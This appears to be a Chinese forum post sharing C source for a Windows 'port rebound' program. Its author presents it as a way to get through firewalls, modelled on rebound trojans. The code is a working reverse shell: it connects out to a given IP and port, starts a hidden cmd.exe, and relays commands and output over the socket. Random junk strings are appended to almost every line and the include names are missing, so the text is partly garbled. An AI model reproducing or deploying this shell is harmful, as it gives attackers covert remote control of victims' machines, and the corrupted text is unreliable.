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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 4"(rZWv  
7*K UM6z  
/* ============================== GJr mK  
Rebound port in Windows NT dM= &?g  
By wind,2006/7 s- PS]l@  
===============================*/ W0~G`A(:;  
#include %<(d %&~  
#include |l+5E   
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#pragma comment(lib,"wsock32.lib") ~~-VScG&  
ftR& 5 !Wm  
void OutputShell(); 83t/ \x,Q  
SOCKET sClient; cGgfCF^`  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; c$7~EP  
gK({InOP  
void main(int argc,char **argv) KU9FHN  
{ .O5V;&,  
WSADATA stWsaData; m:[I$b6AY  
int nRet; p^<(.+P4  
SOCKADDR_IN stSaiClient,stSaiServer; H)7v$A,5%  
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if(argc != 3) XC^*z[#4{  
{ ;(Ug]U%3_  
printf("Useage:\n\rRebound DestIP DestPort\n"); L8Tm8)  
return; lMvOYv  
} :,Y1#_\  
~i>DF`w$  
WSAStartup(MAKEWORD(2,2),&stWsaData); %\T,=9tD\  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ?dCwo;~  
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stSaiClient.sin_family = AF_INET; n{sk  
stSaiClient.sin_port = htons(0); "YgpgW  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); kodd7 AD  
nk%v|ZxoFv  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) 52tc|j6~#  
{ $KGMAg/H  
printf("Bind Socket Failed!\n"); fPUr O  
return; VYkh@j  
} Z,E$4Z  
C:5- h(#  
stSaiServer.sin_family = AF_INET; Z}uY%]  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); )-Hs]D:  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); }" vxYB!h3  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) ge GhM>G  
{ [=q/f2_1.  
printf("Connect Error!"); =N\; ?eF(  
return; j0; ~2W#G*  
} :1j8!R5  
OutputShell(); Si?s69  
} /#M1J:SV  
CMW4Zqau*  
void OutputShell() P7XZ|Td4*  
{ 49&i];:%7%  
char szBuff[1024]; +?o!"SJ  
SECURITY_ATTRIBUTES stSecurityAttributes; uo]xC+^  
OSVERSIONINFO stOsversionInfo; &3Zb?  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; rBTg"^jsw  
STARTUPINFO stStartupInfo; [-_{3qq<e  
char *szShell; iv *$!\Cd  
PROCESS_INFORMATION stProcessInformation; xBTx`+%WS  
unsigned long lBytesRead; D`a6D  
}]o8}$&(  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); w_Slg&S  
)0exGx+:  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); -|#{V.G3'  
stSecurityAttributes.lpSecurityDescriptor = 0; v-3VzAd=*&  
stSecurityAttributes.bInheritHandle = TRUE; K_)~&Cu*'  
qs ep9z.  
VRQ`-#  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); WK`o3ayH-  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); M8X6!"B$Y  
b},2A'X  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); -!1=S: S  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; u NyN[U  
stStartupInfo.wShowWindow = SW_HIDE;  5cIZ_#  
stStartupInfo.hStdInput = hReadPipe; :C} I6v=  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; ?Te#lp;`~  
8Re[]bE  
GetVersionEx(&stOsversionInfo); /GO-  
F%|P#CaB  
switch(stOsversionInfo.dwPlatformId) W-s6+ DY  
{ T(?w}i  
case 1: 0NU%z.(%s  
szShell = "command.com"; HfVHjF)  
break; ?uSoJM`wa!  
default: FAdTm#tgW]  
szShell = "cmd.exe"; 2j%=o?me^p  
break; wBXa;.  
} M\m:H3[  
`CS\"|z  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); FE!jN-#  
GLtWo+g0  
send(sClient,szMsg,77,0); {q)d  
while(1) H_RfIX)X  
{ iN Oj @3x  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); %(W&(eN  
if(lBytesRead) 8)1q,[:M  
{ {k3ItGQ_  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); =m2_:&@0x  
send(sClient,szBuff,lBytesRead,0); W:RjWn@<  
} 2~$S @c  
else ),p0V  
{ M/p9 I gp  
lBytesRead=recv(sClient,szBuff,1024,0); LRu,_2"  
if(lBytesRead<=0) break; r89AX{:  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); /&Oo)OB;  
} l|WFS  
} i|1*bZ6'  
>SDQ@63E?  
return; (Ut8pa+yX  
}
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